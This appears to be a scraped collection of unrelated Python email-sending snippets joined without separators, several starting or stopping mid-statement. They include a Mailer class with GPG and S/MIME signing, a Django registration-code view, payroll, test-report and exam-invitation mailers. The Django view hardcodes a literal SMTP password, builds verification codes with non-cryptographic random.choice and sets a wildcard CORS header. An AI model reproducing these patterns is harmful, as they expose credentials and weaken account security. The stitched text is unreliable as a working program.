subject', 'Plain text body of the message') Send html message to single address:: mail.send('*****@*****.**', 'Message subject', '<html>Plain text body of the message</html>') Send text and html message to three addresses (two in cc):: mail.send('*****@*****.**', 'Message subject', ('Plain text body', '<html>html body</html>'), cc=['*****@*****.**', '*****@*****.**']) Send html only message with image attachment available from the message by 'photo' content id:: mail.send('*****@*****.**', 'Message subject', (None, '<html><img src="cid:photo" /></html>'), Mailer.Attachment('/path/to/photo.jpg' content_id='photo')) Send email with two attachments and no body text:: mail.send('[email protected], 'Message subject', None, [Mailer.Attachment('/path/to/fist.file'), Mailer.Attachment('/path/to/second.file')]) Returns: True on success, False on failure. Before return, method updates two object's fields: - self.result: return value of smtplib.SMTP.sendmail() or GAE's mail.send_mail() method """ # We don't want to use base64 encoding for unicode mail add_charset("utf-8", charset_QP, charset_QP, "utf-8") def encode_header(key): if [c for c in key if 32 > ord(c) or ord(c) > 127]: return Header(key.encode("utf-8"), "utf-8") else: return key # Encoded or raw text def encoded_or_raw(text): if raw: text = encode_header(text) return text sender = sender or self.settings.sender if not isinstance(self.settings.server, str): raise Exception("Server address not specified") if not isinstance(sender, str): raise Exception("Sender address not specified") if not raw and attachments: # Use multipart/mixed if there is attachments payload_in = MIMEMultipart("mixed") elif raw: # No encoding configuration for raw messages if not isinstance(body, basestring): body = body.read() if isinstance(body, unicodeT): text = body.encode("utf-8") elif not encoding == "utf-8": text = body.decode(encoding).encode("utf-8") else: text = body # No charset passed to avoid transport encoding # NOTE: some unicode encoded strings will produce # unreadable mail contents. payload_in = MIMEText(text) if to: if not isinstance(to, (list, tuple)): to = [to] else: raise Exception("Target receiver address not specified") if cc: if not isinstance(cc, (list, tuple)): cc = [cc] if bcc: if not isinstance(bcc, (list, tuple)): bcc = [bcc] if body is None: text = html = None elif isinstance(body, (list, tuple)): text, html = body else: if isinstance(body, bytes): body = body.decode() if not isinstance(body, str): body = str(body) if body.lstrip().startswith("<html") and body.rstrip().endswith("</html>"): text = self.settings.server == "gae" and body or None html = body else: text = body html = None if (text is not None or html is not None) and (not raw): if text is not None: if not isinstance(text, basestring): text = text.read() if isinstance(text, unicodeT): text = text.encode("utf-8") elif not encoding == "utf-8": text = text.decode(encoding).encode("utf-8") if html is not None: if not isinstance(html, basestring): html = html.read() if isinstance(html, unicodeT): html = html.encode("utf-8") elif not encoding == "utf-8": html = html.decode(encoding).encode("utf-8") # Construct mime part only if needed if text is not None and html: # We have text and html we need multipart/alternative attachment = MIMEMultipart("alternative") attachment.attach(MIMEText(text, _charset="utf-8")) attachment.attach(MIMEText(html, "html", _charset="utf-8")) elif text is not None: attachment = MIMEText(text, _charset="utf-8") elif html: attachment = MIMEText(html, "html", _charset="utf-8") if attachments: # If there are attachments put text and html into # multipart/mixed payload_in.attach(attachment) else: # No attachments no multipart/mixed payload_in = attachment if (attachments is None) or raw: pass elif isinstance(attachments, (list, tuple)): for filename in attachments: mimetype, encoding = mimetypes.guess_type(filename) mimetype = mimetype.split("/", 1) fp = open(filename, "rb") attachment = MIMEBase(mimetype[0], mimetype[1]) attachment.set_payload(fp.read()) fp.close() encode_base64(attachment) import os attachment.add_header( "Content-Disposition", "attachment", filename=os.path.basename(filename), ) payload_in.attach(attachment) else: payload_in.attach(attachments) attachments = [attachments] ####################################################### # CIPHER # ####################################################### cipher_type = cipher_type or self.settings.cipher_type sign = sign if sign is not None else self.settings.sign sign_passphrase = sign_passphrase or self.settings.sign_passphrase encrypt = encrypt if encrypt is not None else self.settings.encrypt ####################################################### # GPGME # ####################################################### if cipher_type == "gpg": if self.settings.gpg_home: # Set GNUPGHOME environment variable to set home of gnupg import os os.environ["GNUPGHOME"] = self.settings.gpg_home if not sign and not encrypt: raise RuntimeError( "No sign and no encrypt is set but cipher type to gpg" ) if not pyme: raise RuntimeError("pyme not installed") ############################################ # sign # ############################################ if sign: import string core.check_version(None) pin = payload_in.as_string().replace("\n", "\r\n") plain = core.Data(pin) sig = core.Data() c = core.Context() c.set_armor(1) c.signers_clear() # Search for signing key for From: for sigkey in c.op_keylist_all(sender, 1): if sigkey.can_sign: c.signers_add(sigkey) if not c.signers_enum(0): raise RuntimeError("No key for signing [%s]" % sender) c.set_passphrase_cb(lambda x, y, z: sign_passphrase) try: # Make a signature c.op_sign(plain, sig, pyme_mode.DETACH) sig.seek(0, 0) # Make it part of the email payload = MIMEMultipart( "signed", boundary=None, _subparts=None, **dict(micalg="pgp-sha1", protocol="application/pgp-signature") ) # Insert the origin payload payload.attach(payload_in) # Insert the detached signature p = MIMEBase("application", "pgp-signature") p.set_payload(sig.read()) payload.attach(p) # It's just a trick to handle the no encryption case payload_in = payload except errors.GPGMEError as ex: raise RuntimeError("GPG error: %s" % ex.getstring()) ############################################ # encrypt # ############################################ if encrypt: core.check_version(None) plain = core.Data(payload_in.as_string()) cipher = core.Data() c = core.Context() c.set_armor(1) # Collect the public keys for encryption recipients = [] rec = to[:] if cc: rec.extend(cc) if bcc: rec.extend(bcc) for addr in rec: c.op_keylist_start(addr, 0) r = c.op_keylist_next() if r is None: raise RuntimeError("No key for [%s]" % addr) recipients.append(r) try: # Make the encryption c.op_encrypt(recipients, 1, plain, cipher) cipher.seek(0, 0) # Make it a part of the email payload = MIMEMultipart( "encrypted", boundary=None, _subparts=None, **dict(protocol="application/pgp-encrypted") ) p = MIMEBase("application", "pgp-encrypted") p.set_payload("Version: 1\r\n") payload.attach(p) p = MIMEBase("application", "octet-stream") p.set_payload(cipher.read()) payload.attach(p) except errors.GPGMEError as ex: raise RuntimeError("GPG error: %s" % ex.getstring()) ####################################################### # X.509 # ####################################################### elif cipher_type == "x509": if not sign and not encrypt: raise RuntimeError( "No sign and no encrypt have been set but cipher type set to x509" ) import os x509_sign_keyfile = x509_sign_keyfile or self.settings.x509_sign_keyfile x509_sign_chainfile = ( x509_sign_chainfile or self.settings.x509_sign_chainfile ) x509_sign_certfile = ( x509_sign_certfile or self.settings.x509_sign_certfile or x509_sign_keyfile or self.settings.x509_sign_certfile ) # crypt certfiles could be a string or a list x509_crypt_certfiles = ( x509_crypt_certfiles or self.settings.x509_crypt_certfiles ) x509_nocerts = x509_nocerts or self.settings.x509_nocerts # Missing needed m2crypto if not M2Crypto: raise RuntimeError("Can't load M2Crypto module") BIO, SMIME, X509 = M2Crypto.BIO, M2Crypto.SMIME, M2Crypto.X509 msg_bio = BIO.MemoryBuffer(payload_in.as_string()) s = SMIME.SMIME() # SIGN if sign: # Key for signing try: keyfile_bio = ( BIO.openfile(x509_sign_keyfile) if os.path.isfile(x509_sign_keyfile) else BIO.MemoryBuffer(x509_sign_keyfile) ) sign_certfile_bio = ( BIO.openfile(x509_sign_certfile) if os.path.isfile(x509_sign_certfile) else BIO.MemoryBuffer(x509_sign_certfile) ) s.load_key_bio( keyfile_bio, sign_certfile_bio, callback=lambda x: sign_passphrase, ) if x509_sign_chainfile: sk = X509.X509_Stack() chain = ( X509.load_cert(x509_sign_chainfile) if os.path.isfile(x509_sign_chainfile) else X509.load_cert_string(x509_sign_chainfile) ) sk.push(chain) s.set_x509_stack(sk) except Exception as e: raise RuntimeError( "Something went wrong with certificate or private key loading: <%s>" % str(e) ) try: if x509_nocerts: flags = SMIME.PKCS7_NOCERTS else: flags = 0 if not encrypt: flags += SMIME.PKCS7_DETACHED p7 = s.sign(msg_bio, flags=flags) msg_bio = BIO.MemoryBuffer( payload_in.as_string() ) # Recreate coz sign() has consumed it. except Exception as e: raise RuntimeError( "Something went wrong with signing: <%s> %s" % (str(e), str(flags)) ) # ENCRYPT if encrypt: try: sk = X509.X509_Stack() if not isinstance(x509_crypt_certfiles, (list, tuple)): x509_crypt_certfiles = [x509_crypt_certfiles] # Make an encryption certificate's stack for crypt_certfile in x509_crypt_certfiles: certfile = ( X509.load_cert(crypt_certfile) if os.path.isfile(crypt_certfile) else X509.load_cert_string(crypt_certfile) ) sk.push(certfile) s.set_x509_stack(sk) s.set_cipher(SMIME.Cipher("des_ede3_cbc")) tmp_bio = BIO.MemoryBuffer() if sign: s.write(tmp_bio, p7) else: tmp_bio.write(payload_in.as_string()) p7 = s.encrypt(tmp_bio) except Exception as e: raise RuntimeError( "Something went wrong with encrypting: <%s>" % str(e) ) # Final stage: Sign and Encrypt out = BIO.MemoryBuffer() if encrypt: s.write(out, p7) else: if sign: s.write(out, p7, msg_bio, SMIME.PKCS7_DETACHED) else: out.write("\r\n") out.write(payload_in.as_string()) out.close() st = str(out.read()) payload = message_from_string(st) else: # No cryptography process as usual payload = payload_in if from_address: payload["From"] = encoded_or_raw(to_unicode(from_address, encoding)) else: payload["From"] = encoded_or_raw(to_unicode(sender, encoding)) origTo = to[:] if to: payload["To"] = encoded_or_raw(to_unicode(", ".join(to), encoding)) if reply_to: payload["Reply-To"] = encoded_or_raw(to_unicode(reply_to, encoding)) if cc: payload["Cc"] = encoded_or_raw(to_unicode(", ".join(cc), encoding)) to.extend(cc) if bcc: to.extend(bcc) payload["Subject"] = encoded_or_raw(to_unicode(subject, encoding)) payload["Date"] = email.utils.formatdate() for k, v in iteritems(headers): payload[k] = encoded_or_raw(to_unicode(v, encoding)) result = {} try: if self.settings.server == "logging": entry = ( "email not sent\n%s\nFrom: %s\nTo: %s\nSubject: %s\n\n%s\n%s\n" % ("-" * 40, sender, ", ".join(to), subject, text or html, "-" * 40) ) self.settings.logger.warning(entry) elif self.settings.server.startswith("logging:"): entry = ( "email not sent\n%s\nFrom: %s\nTo: %s\nSubject: %s\n\n%s\n%s\n" % ("-" * 40, sender, ", ".join(to), subject, text or html, "-" * 40) ) open(self.settings.server[8:], "a").write(entry) elif self.settings.server == "gae": if not GAE: raise RuntimeError("Not running on GAE") xcc = dict() if cc: xcc["cc"] = cc if bcc: xcc["bcc"] = bcc if reply_to: xcc["reply_to"] = reply_to attachments = attachments and [ google_mail.Attachment( a.my_filename, a.my_payload, content_id="<attachment-%s>" % k ) for k, a in enumerate(attachments) if not raw ] if attachments: result = google_mail.send_mail( sender=sender, to=origTo, subject=to_unicode(subject, encoding), body=to_unicode(text or "", encoding), html=html, attachments=attachments, **xcc ) elif html and (not raw): result = google_mail.send_mail( sender=sender, to=origTo, subject=to_unicode(subject, encoding), body=to_unicode(text or "", encoding), html=html, **xcc ) else: result = google_mail.send_mail( sender=sender, to=origTo, subject=to_unicode(subject, encoding), body=to_unicode(text or "", encoding), **xcc ) elif self.settings.server == "aws" and boto3: client = boto3.client("ses") try: raw = {"Data": payload.as_string()} response = client.send_raw_email( RawMessage=raw, Source=sender, Destinations=to ) return True except ClientError as e: raise RuntimeError() else: smtp_args = self.settings.server.split(":") kwargs = dict(timeout=self.settings.timeout) func = smtplib.SMTP_SSL if self.settings.ssl else smtplib.SMTP server = func(*smtp_args, **kwargs) try: if self.settings.tls and not self.settings.ssl: server.ehlo(self.settings.hostname) server.starttls() server.ehlo(self.settings.hostname) if self.settings.login: server.login(*self.settings.login.split(":", 1)) result = server.sendmail(sender, to, payload.as_string()) finally: # do not want to hide errors raising some exception here try: server.quit() except: pass # ensure to close any socket with SMTP server try: server.close() except: pass except Exception as e: self.settings.logger.warning("Mailer.send failure:%s" % e) self.result = result raise self.result = result self.error = None return True
def SendEmail(request): # 前端验证发邮件的前提:用户名和密码符合规则 ####请求方式:POST ####获取参数:Email;task; ####code返回值: #请求失败:0;邮件发送成功:1; ####info返回值:详细信息 #POST #收件邮箱 receverEmail = str(request.POST.get("Email")) #任务 task = str(request.POST.get("task")) if task == '0': taskname = "用户注册" if task == '1': taskname = "重置密码" #验证码 这里区分大小写 import random seed = "012456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" sa = [] for i in range(12): sa.append(random.choice(seed)) verficationCode = "".join(sa) #时间 import time # print(time.time()) # print(time.strftime('%Y.%m.%d %H:%M:%S', time.localtime(time.time()))) # print(time.time() + 1800) # print(time.strftime('%Y.%m.%d %H:%M:%S', time.localtime(time.time() + 1800))) time1 = time.time() #当前秒数时间戳 time2 = (time.time() + 1800) #30分钟之后 if task == '0': #注册 #邮箱未激活 数据库中含有邮箱 try: user = User.objects.get(Email=receverEmail) if user.registState == "0": user.verficationCode = verficationCode user.time1 = time1 user.time2 = time2 user.registState = 0 user.errortimes = 0 # 保存 user.save() except Exception as e: # print(e) # 邮箱未注册 数据库中不含有邮箱 #存入数据库信息 user = User() user.Email = receverEmail user.verficationCode = verficationCode user.time1 = time1 user.time2 = time2 user.registState = 0 user.errortimes = 0 # 保存 user.save() if task == '1': # 重置密码 # 邮箱未激活 数据库中含有邮箱 try: user = User.objects.get(Email=receverEmail) if (user.registState == "1") | (user.registState == "0"): if user.id == 0: return HttpResponse(status=404) else: user.verficationCode = verficationCode user.time1 = time1 user.time2 = time2 user.registState = 0 user.errortimes = 0 # 保存 user.save() except Exception as e: # print(e) # 邮箱未注册 数据库中不含有邮箱 response = HttpResponse(json.dumps({"code": "0"})) response["Access-Control-Allow-Origin"] = "*" response["Access-Control-Allow-Methods"] = "POST, GET, OPTIONS" response["Access-Control-Max-Age"] = "1000" response["Access-Control-Allow-Headers"] = "*" return response ################################################################### import smtplib from email import encoders from email.mime.base import MIMEBase from email.header import Header from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # 引入smtplib和MIMETex port = 465 # port = 25 senderSmtp = 'smtp.163.com' # 发件人的SMTP服务器 senderEmail = '*****@*****.**' # 发件人邮箱 tokenPwd = 'ClL194210310801' # 发件人邮箱的口令 #receverEmail = '*****@*****.**' # 测试收件邮箱 mail_extra_image_url = r'D:\KARAT\Data\img\Karat.jpg' mailSubject = "Karat邮箱验证-" + taskname mailContent = """ <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> <meta charset="utf-8" /> </head> <body> <div class="qmbox qm_con_body_content qqmail_webmail_only" id="mailContentContainer" style=""> <style type="text/css"> .qmbox body { margin: 0; padding: 0; background: #fff; font-family: "Verdana, Arial, Helvetica, sans-serif"; font-size: 14px; line-height: 24px; } .qmbox div, .qmbox p, .qmbox span, .qmbox img { margin: 0; padding: 0; } .qmbox img { border: none; } .qmbox .contaner { margin: 0 auto; } .qmbox .title { margin: 0 auto; background: url() #CCC repeat-x; height: 30px; text-align: center; font-weight: bold; padding-top: 12px; font-size: 16px; } .qmbox .content { margin: 4px; } .qmbox .biaoti { padding: 6px; color: #000; } .qmbox .xtop, .qmbox .xbottom { display: block; font-size: 1px; } .qmbox .xb1, .qmbox .xb2, .qmbox .xb3, .qmbox .xb4 { display: block; overflow: hidden; } .qmbox .xb1, .qmbox .xb2, .qmbox .xb3 { height: 1px; } .qmbox .xb2, .qmbox .xb3, .qmbox .xb4 { border-left: 1px solid #BCBCBC; border-right: 1px solid #BCBCBC; } .qmbox .xb1 { margin: 0 5px; background: #BCBCBC; } .qmbox .xb2 { margin: 0 3px; border-width: 0 2px; } .qmbox .xb3 { margin: 0 2px; } .qmbox .xb4 { height: 2px; margin: 0 1px; } .qmbox .xboxcontent { display: block; border: 0 solid #BCBCBC; border-width: 0 1px; } .qmbox .line { margin-top: 6px; border-top: 1px dashed #B9B9B9; padding: 4px; } .qmbox .neirong { padding: 6px; color: #666666; } .qmbox .foot { padding: 6px; color: #777; } .qmbox .font_darkblue { color: #006699; font-weight: bold; } .qmbox .font_lightblue { color: #008BD1; font-weight: bold; } .qmbox .font_gray { color: #888; font-size: 12px; } </style> <div class="contaner" > <div class="title well">Karat """ + taskname + """ 邮箱验证</div> <div class="content"> <p class="biaoti"><b>亲爱的用户,您好!</b></p> <b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b> <div class="xboxcontent"> <div class="neirong"> <p><b>""" + taskname + """所需的验证码:</b><span class="font_lightblue"><span id="yzm" data="$(captcha)" onclick="return false;" t="7" style="border-bottom: 1px dashed rgb(204, 204, 204); z-index: 1; position: static;">""" + verficationCode + """</span></span><br><span class="font_gray">(请输入该验证码完成""" + taskname + """验证,验证码区分大小写,验证码30分钟内有效!)</span></p> <div class="line">如果您未申请Karat""" + taskname + """服务,请忽略该邮件。</div> </div> </div> <b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b> <p class="foot">如果仍有问题,请拨打我们的服务专线: <span onclick="return false;" t="7" style="border-bottom: 1px dashed rgb(204, 204, 204); z-index: 1; position: static;"> 0533-2786727 </span> <img src="cid:0" style="width:800px;"> </p> </div> </div> <style type="text/css"> .qmbox style, .qmbox script, .qmbox head, .qmbox link, .qmbox meta { display: none !important; } </style> </div> </body> </html> """ msg = MIMEMultipart() msg['subject'] = Header(mailSubject, 'utf-8').encode() # 设置邮件标题 msg['from'] = senderEmail # 设置发送人 msg['to'] = receverEmail # 设置接收人 msg.attach(MIMEText(mailContent, 'html', 'utf-8')) with open(mail_extra_image_url, 'rb') as f: mime = MIMEBase('image', 'jpg', filename='附件.jpg') # 设置附件的MIME和文件名,这里是png类型: mime.add_header('Content-Disposition', 'attachment', filename='附件.png') # 加上必要的头信息: mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') mime.set_payload(f.read()) # 把附件的内容读进来: encoders.encode_base64(mime) # 用Base64编码: msg.attach(mime) try: server = smtplib.SMTP_SSL(senderSmtp, port) # 注意!如果是使用SSL端口,这里就要改为SMTP_SSL server.set_debuglevel(1) server.login(senderEmail, tokenPwd) # 登陆邮箱 server.sendmail(senderEmail, [receverEmail], msg.as_string()) # 发送邮件 server.quit() print('Email to:' + receverEmail + ' is successful') response = HttpResponse( json.dumps({ "code": "1", "info": 'Email to:' + receverEmail + ' is successful' })) except smtplib.SMTPException as err: print('Email to:' + receverEmail + ' is faild') response = HttpResponse( json.dumps({ "code": "0", "info": 'Email to:' + receverEmail + ' is faild' + str(err) })) response["Access-Control-Allow-Origin"] = "*" response["Access-Control-Allow-Methods"] = "POST, GET, OPTIONS" response["Access-Control-Max-Age"] = "1000" response["Access-Control-Allow-Headers"] = "*" return response ######################################################################################################################################
def sendEmail(to, attachmentFile, s): today = datetime.now() one_month_ago = today - relativedelta(months=1) # print "one month ago date time: %s" % one_month_ago last_month_text = one_month_ago.strftime('%B') last_year_full = one_month_ago.strftime('%Y') print("Salary SLIP for month of {} {} ".format(last_month_text, last_year_full)) toaddr = "*****@*****.**" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = "niyuj finance" # storing the receivers email address msg['To'] = to # storing the subject msg['Subject'] = "Salary SLIP for month of {} {} ".format( last_month_text, last_year_full) # string to store the body of the mail body = ''' <div>Hi,</div> <div> Attached is your password protected salary slip for the month of {} {} and the password to open the file is your <strong> PAN in uppercase.</strong> </div> <br/> <div> <font color="red"> Note : Please make sure that the net amount payable in your salary slip is the same as the sum of the amount credited into your bank account and food card. </font></div> <br/> <div>Thanks and Regards,</div> <div>Niyuj Finance</div>'''.format(last_month_text, last_year_full) # attach the body with the msg instance msg.attach(MIMEText(body, 'html', 'utf-8')) # open the file to be sent filename = "a.txt" attachment = open(attachmentFile, "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail("Niyuj Finance", toaddr, text)
def send_email2(): if request.method == 'POST': fromaddr = "*****@*****.**" toaddr = "*****@*****.**" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = request.form['name'] # storing the receivers email address msg['To'] = request.form['email'] # storing the subject msg['Subject'] = "Subject of the Mail" # string to store the body of the mail body = request.form['message'] # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = "video1.webm" attachment = open("video1.webm", "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication s.login(fromaddr, os.environ.get('PASSWORD')) # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit() return render_template('index.html')
<a href="http://www.realpython.com">Real Python</a> has many great tutorials. </p> </body> </html> """ part1 = MIMEText(text, 'plain') part2 = MIMEText(html, 'html') filename = 'download.jpg' with open(filename, 'rb') as attachment: part_a = MIMEBase('application', 'octetc-stream') part_a.set_payload(attachment.read()) encoders.encode_base64(part_a) part_a.add_header('Content-Disposition', f'attachment; filename= {filename}') message.attach(part1) message.attach(part2) message.attach(part_a) context = ssl.create_default_context() with smtplib.SMTP_SSL(smtp_server, port, context=context) as server: server.login(sender, password) # send email server.sendmail(sender, receiver, message.as_string())
def write_mime(self, file, attach_treshold=5, extra_headers={}, skip_keys=None, priority_fields=None): '''Write MIME/Multipart RFC 2822 formatted data into file. file must be a file-like object, not a path. It needs to be opened in binary mode. If a value is a string or a CompressedValue, it is written directly. Otherwise it must be a tuple containing the source file and an optional boolean value (in that order); the first argument can be a file name or a file-like object, which will be read and its content will become the value of this key. The file will be gzip compressed, unless the key already ends in .gz. attach_treshold specifies the maximum number of lines for a value to be included into the first inline text part. All bigger values (as well as all non-ASCII ones) will become an attachment, as well as text values bigger than 1 kB. Extra MIME preamble headers can be specified, too, as a dictionary. skip_keys is a set/list specifying keys which are filtered out and not written to the destination file. priority_fields is a set/list specifying the order in which keys should appear in the destination file. ''' self._assert_bin_mode(file) keys = sorted(self.data.keys()) text = '' attachments = [] if 'ProblemType' in keys: keys.remove('ProblemType') keys.insert(0, 'ProblemType') if priority_fields: counter = 0 for priority_field in priority_fields: if priority_field in keys: keys.remove(priority_field) keys.insert(counter, priority_field) counter += 1 for k in keys: if skip_keys and k in skip_keys: continue v = self.data[k] attach_value = None # compressed values are ready for attaching in gzip form if isinstance(v, CompressedValue): attach_value = v.gzipvalue # if it's a tuple, we have a file reference; read the contents # and gzip it elif not hasattr(v, 'find'): attach_value = '' if hasattr(v[0], 'read'): f = v[0] # file-like object else: f = open(v[0], 'rb') # file name if k.endswith('.gz'): attach_value = f.read() else: io = BytesIO() gf = gzip.GzipFile(k, mode='wb', fileobj=io, mtime=0) while True: block = f.read(1048576) if block: gf.write(block) else: gf.close() break attach_value = io.getvalue() f.close() # binary value elif self._is_binary(v): if k.endswith('.gz'): attach_value = v else: attach_value = CompressedValue(v, k).gzipvalue # if we have an attachment value, create an attachment if attach_value: att = MIMEBase('application', 'x-gzip') if k.endswith('.gz'): att.add_header('Content-Disposition', 'attachment', filename=k) else: att.add_header('Content-Disposition', 'attachment', filename=k + '.gz') att.set_payload(attach_value) encode_base64(att) attachments.append(att) else: # plain text value size = len(v) # ensure that byte arrays are valid UTF-8 if type(v) == bytes: v = v.decode('UTF-8', 'replace') # convert unicode to UTF-8 str if _python2: assert isinstance(v, unicode) else: assert isinstance(v, str) lines = len(v.splitlines()) if size <= 1000 and lines == 1: v = v.rstrip() text += k + ': ' + v + '\n' elif size <= 1000 and lines <= attach_treshold: text += k + ':\n ' if not v.endswith('\n'): v += '\n' text += v.strip().replace('\n', '\n ') + '\n' else: # too large, separate attachment att = MIMEText(v, _charset='UTF-8') att.add_header('Content-Disposition', 'attachment', filename=k + '.txt') attachments.append(att) # create initial text attachment att = MIMEText(text, _charset='UTF-8') att.add_header('Content-Disposition', 'inline') attachments.insert(0, att) msg = MIMEMultipart() for k, v in extra_headers.items(): msg.add_header(k, v) for a in attachments: msg.attach(a) file.write(msg.as_string().encode('UTF-8')) file.write(b'\n')
time = datetime.datetime.today().strftime("%Y-%m-%d_%H:%M") msg = MIMEMultipart() # 邮件正文 msg.attach(MIMEText("{}的测试报告见附件".format(time), 'plain', 'utf-8')) msg['From'] = "*****@*****.**" msg['To'] = "*****@*****.**" subject = "{}的测试报告".format(time) msg['Subject'] = subject data = open(filepath, 'rb+') ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) file_msg = MIMEBase(maintype, subtype) file_msg.set_payload(data.read()) data.close() encoders.encode_base64(file_msg) # 把附件编码 file_msg.add_header('Content-Disposition', 'attachment', filename="测试报告.zip") # 修改邮件头 msg.attach(file_msg) try: server = smtplib.SMTP(smtp_server, 25) server.login(username, password) server.sendmail(sender, receivers, msg.as_string()) server.quit() print("发送成功") except Exception as err: print("发送失败") print(err)
def sendEmail_to_participant(participant_id): try: configureLogging() CRLF = "\r\n" paper_instance = Paper_Instance.objects.get( participant_id=participant_id) # for paper_instance in paper_instances: calender_details = Calender.objects.get(id=paper_instance.calender_id) if calender_details.schedule_time > datetime.datetime.now(): participant = Participant.objects.get( id=paper_instance.participant_id) email_template = Email_template.objects.get( company_id=participant.company_id) sender_email = email_config['sender'] receiver_email = participant.participant_email message = MIMEMultipart("mixed") message["Subject"] = email_template.email_subject message["From"] = f"OneExam <{sender_email}>" message["To"] = receiver_email exam_code = ''.join( random.choices(string.ascii_letters + string.digits, k=email_config.getint('code_length'))) paper = Paper.objects.get(paper_id=participant.paper_id) emailbody = MIMEText( email_template.email_body.replace( "{name}", participant.first_name).replace( "{paper}", paper.paper_name).replace( "{date}", calender_details.schedule_time.strftime( "%A %d %B %Y")).replace( "{time}", calender_details.schedule_time.strftime( " %I:%M %p ")).replace( "{link}", email_config['url']).replace( "{code}", str(exam_code)).replace( "{n}", "\n")) message.attach(emailbody) examdtstart = calender_details.schedule_time dur = datetime.timedelta(minutes=calender_details.duration) examdtend = examdtstart + dur dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%S") dtstart = examdtstart.strftime("%Y%m%dT%H%M%S") dtend = examdtend.strftime("%Y%m%dT%H%M%S") description = "DESCRIPTION: exam invitation" + CRLF organizer = "ORGANIZER;CN=OneExam:mailto:first" + CRLF + " @gmail.com" attendee = "ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ- PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE" + CRLF + " ;CN=" + receiver_email + " mailto:" + receiver_email + CRLF ical = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF ical += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF ical += "UID:FIXMEUID" + dtstamp + CRLF ical += attendee + "CREATED:" + dtstamp + CRLF + description + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF ical += "SUMMARY:Exam invitation " + CRLF + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF eml_body = "\n.ics file will be visible in the invite of outlook and outlook.com but not google calendar" eml_body_bin = "This is the email body in binary - two steps" # message = MIMEMultipart('mixed') part_email = MIMEText(eml_body) message.attach(part_email) part_cal = MIMEText(ical, 'calendar;method=REQUEST') msgAlternative = MIMEMultipart('alternative') message.attach(msgAlternative) ical_atch = MIMEText('application/ics', ' ;name="%s"' % ("Exam invitation.ics")) ical_atch.set_payload(ical) encoders.encode_base64(ical_atch) ical_atch.add_header('Content-Disposition', 'attachment; filename="%s"' % ("invite.ics")) eml_atch = MIMEText('', 'plain') encoders.encode_base64(eml_atch) eml_atch.add_header('Content-Transfer-Encoding', "") # msgAlternative.attach(part_email) msgAlternative.attach(part_cal) context = ssl.create_default_context() with smtplib.SMTP_SSL(email_config['host'], email_config.getint('port'), context=context) as server: server.login(sender_email, email_config['password']) server.sendmail(sender_email, receiver_email, message.as_string()) # paper_instance,paper_instance_stat=Paper_Instance.objects.get_or_create(participant_id=participant.id) paper_instance.participant_key = exam_code paper_instance.paper_instance_date = datetime.datetime.now() paper_instance.save() logging.info(f"Email sent to mail id:{receiver_email}") except Exception as e: logging.error(str(e)) raise
msg.attach(MIMEText('send with file...','plain','utf-8')) #添加附件MIMEBase with open(r'C:\Users\30\Desktop\emoji.jpg','rb') as f: #设置附件的MIME和文件名 mime = MIMEBase('image','jpeg',filename='emoji.jpg') print 'aa' #加上必要头部信息 mime.add_header('Content-Disposition', 'attachment', filename='emoji.jpg') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') #读取附件内容 mime.set_payload(f.read()) #BAse64编码 encoders.encode_base64(mime) #添加到MIMEMutipart中 msg.attach(mime) #email 地址和口令 from_addr = '*****@*****.**' passwprd = raw_input('passwprd:') #stmp服务器地址 smtp_server = 'smtp.163.com' #收件人地址 to_addr = '*****@*****.**' msg['From'] = _format_addr(u'python爱好者<%s>' %from_addr) msg['To'] = _format_addr(u'管理员<%s>' %to_addr) msg['Subject'] = Header(u'来自smtp的测试...','utf-8').encode()
